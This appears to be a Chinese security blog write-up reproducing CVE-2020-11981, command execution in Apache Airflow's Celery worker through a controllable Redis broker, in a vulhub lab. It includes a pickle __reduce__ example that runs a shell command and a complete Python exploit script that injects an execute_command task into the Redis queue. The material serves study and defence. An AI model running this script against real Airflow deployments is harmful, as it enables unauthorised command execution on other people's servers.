Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)

Apache Airflow Celery 消息中间件命令执行(CVE-2020-11981)

0x01 漏洞简介

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。

0x02 影响版本

Apache Airflow <= 1.10.10

0x03 环境搭建

下载环境:https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981

#初始化数据库
docker-compose run airflow-init

#启动服务
docker-compose up -d

0x04 漏洞分析

在这里插入图片描述

CVE-2020-11981 - Command injection via Celery broker
When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.

CVE-220-11981-通过Celery代理进行命令注入

在使用CeleryExecutor时,如果攻击者可以直接连接到代理(Redis、RabbitMQ),则有可能注入命令,导致芹菜工人运行任意命令。

由于Celery < 4.0的情况下,默认的task_serializer为pickle,可以直接利用pickle反序列化漏洞进行利用

Pickle序列化反序列化操作

pickle.dump(obj,file[,protocol])

​ 序列化对象,并将结果数据流写入到文件对象中,protocol可选择模式,默认为0,文本形式序列化,还可以是1或2,二进制形式序列化。

注:pickle.dumps()将对象obj对象序列化并返回一个byte对象

pickle.load(file)

​ 反序列化对象。注意要让python找到类的定义,否则报错。

注:pickle.loads(),从字节对象中读取被封装的对象

简单示例:

利用__reduce__() 魔术方法:

可以通过重写类的object.__reduce__()使之在被实例化时按照重写的方式进行。每当该类的对象被unpickle时,callable被调用生成对象(实际就是构造函数)

在pickle的opcode中,R的作用与object.__reduce__()关系密切:选择栈上的一个元素作为函数,另一个作为参数(必须为元组),然后调用该函数。其实R正好对应object.__reduce__()函数,让它的返回值作为R的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了R的
示例:

    import pickle
    class People(object):
        def __init__(self,name="test"):
            self.name=name
       
        def __reduce__(self):
            return (eval,("__import__('os').system('ls -la')",))
     
    a = People()
    c = pickle.dumps(a)
    print(c)
    pickle.loads(c)

操作步骤可简化为3步:

  1. 找反序列化位点

  2. 重写reduce,生成反序列化字符串(即使类没有定义,也同样可以触发)

  3. 触发

Celery使用的默认队列名为celery,在Redis中表现为db中存在一个key为celery的List(存在未消费的任务时存在):

在无Worker的情况下启动任务:

在这里插入图片描述

可以看到名为celery的key,以及其中内容,body为base64后的pickle序列化内容。

在这里插入图片描述

**Tips:**可以通过以_kumbu.bind.为前缀的key,确定都有哪些队列,这个是Kombu的一个命名规范

Celery使用Kombu这个AMQP实现进行任务的下发与拉取,直接拿出队列内容,写一个简单的利用脚本(执行touch /tmp/celery_success命令),将body内容替换为命令执行的pickle数据:

Celery使用Kombu这个AMQP实现进行任务的下发与拉取,直接拿出队列内容,写一个简单的利用脚本(执行touch /tmp/celery_success命令),将body内容替换为命令执行的pickle数据:

import pickle
import json
import base64
import redis
import sys
#redis连接
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
#队列名 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str) 	#json.loads 将str类型的数据转换为dict类型
command = ['touch', '/tmp/airflow_celery_success'] #我们要执行的命令
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode() #进行base64编码,替换字典中的body字段
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict)) #json.dumps 将dict类型的数据转成str
# Lpush 命令将一个或多个值插入到列表头部。 如果 key 不存在,一个空列表会被创建并执行 LPUSH 操作。

0x05 漏洞复现

CVE-2020-11981是利用Airflow的CeleryExecutor类来进行命令执行,可利用版本小于1.10.10,

写入一个JSON任务消息执行airflow.executors.celery_executor.execute_command到airflow的celery redis队列中,此处注意队列名为default:

通过未授权访问,使用exploit_airflow_celery.py这个脚本来利用airflow.executors.celery_executor.execute_command执行任意命令:

在这里插入图片描述

在攻击机kali(192.168.237.130)上执行该脚本:python3 exploit_airflow_celery.py 192.168.237.129 (192.168.237.129是靶机ip,代码中默认指定了redis的6379端口)

在这里插入图片描述

回到服务端使用docker-compose logs airflow-worker命令查看,并进入容器观察发现成功:

在这里插入图片描述
在这里插入图片描述

参考链接

https://github.com/vulhub/vulhub/tree/master/airflow/CVE-2020-11981
https://forum.butian.net/share/224

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值